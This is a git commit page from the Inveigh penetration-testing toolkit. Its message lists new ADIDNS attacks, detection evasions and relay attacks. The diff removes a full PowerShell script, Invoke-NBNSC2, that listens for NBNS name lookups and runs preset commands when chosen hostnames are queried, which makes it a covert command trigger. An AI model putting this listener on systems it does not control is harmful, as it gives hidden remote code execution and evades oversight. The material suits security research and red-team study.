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author | Kevin Robertson <robertsonk@gmail.com> | 2018-09-25 14:46:02 -0400 |
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committer | Kevin Robertson <robertsonk@gmail.com> | 2018-09-25 14:46:02 -0400 |
commit | c9809376e0afb613b3331a79c8ac83c7f48c679a (patch) | |
tree | a7b7a36114fb51ea28c4201d838f896aa10427ab /Extras/Invoke-NBNSC2.ps1 | |
parent | a2553ac147ceddb23bb85f3e37f9b82c626b6e38 (diff) | |
download | Inveigh-c9809376e0afb613b3331a79c8ac83c7f48c679a.tar.gz Inveigh-c9809376e0afb613b3331a79c8ac83c7f48c679a.zip |
Inveigh 1.41.4
Inveigh
Added ADIDNS attacks
New detection evasions
Inveigh Relay
Added session and enumerate attacks
Added ability to handle multiple targets with target selection based on the enumerate attack and/or BloodHound imports
Diffstat (limited to 'Extras/Invoke-NBNSC2.ps1')
-rw-r--r-- | Extras/Invoke-NBNSC2.ps1 | 151 |
1 files changed, 0 insertions, 151 deletions
diff --git a/Extras/Invoke-NBNSC2.ps1 b/Extras/Invoke-NBNSC2.ps1 deleted file mode 100644 index 41d2e64..0000000 --- a/Extras/Invoke-NBNSC2.ps1 +++ /dev/null @@ -1,151 +0,0 @@ -function Invoke-NBNSC2 -{ -<# -.SYNOPSIS -Invoke-NBNSC2 will listen for NBNS requests and execute set commands if requests for specific hostnames are -received. The function must be supplied with an even number of Hostnames and Commands. NBNS requests can be -sent from a NBNS enabled system on the same subnet using ping, etc. - -.PARAMETER Hostnames -A comma separated list of Hostnames that will trigger a corresponding command. The first hostname trigger a command -from the Commands array with a matching index (e.g. Hostnames[0] executes Commands[0]). - -.PARAMETER Commands -An array of commands stored in scriptblock format. All commands must be enclosed in {} brackets. - -.PARAMETER ExitHostname -Specify a hostname that will cause the function to exit. This hostname must not match a hostname used in Hostnames. - -.PARAMETER RunTime -(Integer) Set the run time duration. - -.PARAMETER RunTimeUnit -Default = Minutes: Set the time unit for RunTime to either Minutes, Hours, or Days. - -.EXAMPLE -Send-NBNSC2 -Hostnames test1,test2 -Command {calc},{notepad} -RunTime 1 -RunTimeUnit Days - -.LINK -https://github.com/Kevin-Robertson/Inveigh -#> - -[CmdletBinding()] -param -( -[parameter(Mandatory=$true)][Array]$Hostnames = "", -[parameter(Mandatory=$true)][Array]$Commands = "", -[parameter(Mandatory=$true)][String]$ExitHostname = "", -[parameter(Mandatory=$false)][Int]$RunTime="", -[parameter(Mandatory=$false)][ValidateSet("Minutes","Hours","Days")][String]$RunTimeUnit="Minutes", -[parameter(ValueFromRemainingArguments=$true)]$invalid_parameter -) - -if ($invalid_parameter) -{ - throw "$($invalid_parameter) is not a valid parameter." -} - -if($Hostnames.Count -ne $Commands.Count) -{ - throw "Must use an equal number of Hostnames and Commands." -} -elseif($Hostnames -contains $ExitHostname) -{ - throw "ExitHostname cannot be used as in Hostnames." -} - -if($RunTime) -{ - if($RunTimeUnit -like 'Minutes') - { - $runtime_timeout = new-timespan -Minutes $RunTime - } - elseif($RunTimeUnit -like 'Hours') - { - $runtime_timeout = new-timespan -Hours $RunTime - } - elseif($RunTimeUnit -like 'Days') - { - $runtime_timeout = new-timespan -Days $RunTime - } - - $runtime_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() -} - -$Hostnames = $Hostnames | % {$_.ToUpper()} -$running = $true -$NBNS_listener_endpoint = New-Object System.Net.IPEndPoint ([IPAddress]::Broadcast,137) -$NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 -$NBNS_UDP_client.Client.ReceiveTimeout = 10000 -$control_timeout = new-timespan -Seconds 1 -$control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - -while($running) -{ - try - { - $NBNS_request_data = $NBNS_UDP_client.Receive([Ref]$NBNS_listener_endpoint) - } - catch - { - $NBNS_request_data = $null - } - - if($NBNS_request_data) - { - $NBNS_query = [System.BitConverter]::ToString($NBNS_request_data[13..($NBNS_request_data.Length - 4)]) - $NBNS_query = $NBNS_query -replace "-00","" - $NBNS_query = $NBNS_query.Split("-") | ForEach-Object{[Char][System.Convert]::ToInt16($_,16)} - $NBNS_query_string_encoded = New-Object System.String ($NBNS_query,0,$NBNS_query.Length) - $NBNS_query_string_encoded = $NBNS_query_string_encoded.Substring(0,$NBNS_query_string_encoded.IndexOf("CA")) - $NBNS_query_string_subtracted = "" - $NBNS_query_string = "" - $n = 0 - - if($NBNS_query_string_encoded.Length -gt 1) - { - do - { - $NBNS_query_string_sub = (([Byte][Char]($NBNS_query_string_encoded.Substring($n,1))) - 65) - $NBNS_query_string_subtracted += ([System.Convert]::ToString($NBNS_query_string_sub,16)) - $n += 1 - } - until($n -gt ($NBNS_query_string_encoded.Length - 1)) - - $n = 0 - - do - { - $NBNS_query_string += ([Char]([System.Convert]::ToInt16($NBNS_query_string_subtracted.Substring($n,2),16))) - $n += 2 - } - until($n -gt ($NBNS_query_string_subtracted.Length - 1) -or $NBNS_query_string.Length -eq 15) - } - - if([Array]::IndexOf($Hostnames,$NBNS_query_string) -ge 0 -and $control_stopwatch.Elapsed -ge $control_timeout) - { - $NBNS_UDP_client.Close() - $command_index = [Array]::IndexOf($Hostnames,$NBNS_query_string) - $NBNS_query_string = '' - & $Commands[$command_index] - $control_timeout = new-timespan -Seconds 5 - $control_stopwatch = [System.Diagnostics.Stopwatch]::StartNew() - $NBNS_UDP_client = New-Object System.Net.Sockets.UdpClient 137 - $NBNS_UDP_client.Client.ReceiveTimeout = 10000 - } - elseif($ExitHostname -like $NBNS_query_string) - { - $running = $false - } - } - - if($RunTime -and $runtime_stopwatch.Elapsed -ge $runtime_timeout) - { - $running = $false - } - -} - -$NBNS_UDP_client.Close() - -}
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